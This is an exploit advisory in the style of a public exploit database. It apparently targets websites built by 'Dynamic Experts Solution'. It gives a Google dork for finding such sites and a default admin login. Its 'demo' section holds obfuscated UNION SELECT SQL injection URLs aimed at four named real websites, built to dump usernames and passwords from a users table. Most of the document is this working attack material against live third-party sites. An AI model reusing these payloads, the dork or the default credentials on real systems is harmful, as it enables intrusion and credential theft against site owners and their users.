###################### Exploit Title : Dynamic Experts Solution Design Default Admin Password Exploit Author : Behrouz Mansoori Vendor Homepage : https://dynamicxperts.com Google Dork : "Designed & Developed By : Dynamic Experts Solution" Date: 2020-06-29 Tested On : Win 10 / Mozilla Firefox ###################### # # username : admin # password : Admin123 # ###################### # demo 1 : username: https://hafeezasports.com/pages.php?id=-4%20/*!12345uNion*/%20/*!12345selEct*/%201,2,3,4,5,6,7,8,9,username,11,12,13,14%20/*!12345from*/%20%20users-- password: https://hafeezasports.com/pages.php?id=-4%20/*!12345uNion*/%20/*!12345selEct*/%201,2,3,4,5,6,7,8,9,password,11,12,13,14%20/*!12345from*/%20%20users-- # demo 2 : username & password: https://www.zeetexpro.com.pk/contact.php?id=-5%20/*!50000UNION*/%20/*!50000SELECT*/%201111,2222,3333,4444,/*!50000group_concat(username,0x3a,password,0x3c62723e)*/,6,7,8,9,10,11,12,13,14/*!50000from*/%20users--# # demo 3 : username & password: https://argos.com.pk/product_detail.php?proid=-877%27%20/*!12345UNION*/%20/*!12345SELECT*/%201,2,3,4,5,6,group_concat(username,0x3a,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!12345from*/%20users--+ # demo 4 : username : https://www.roshansports.pk/pages.php?id=-2%20/*!12345unioN*/%20/*!12345sElect*/%201,2,3,4,5,6,7,8,9,username,11,12,13,14%20/*!12345froM*/%20users-- password: https://www.roshansports.pk/pages.php?id=-2%20/*!12345unioN*/%20/*!12345sElect*/%201,2,3,4,5,6,7,8,9,password,11,12,13,14%20/*!12345froM*/%20users-- ###################### # discovered by : behrouz mansoori ######################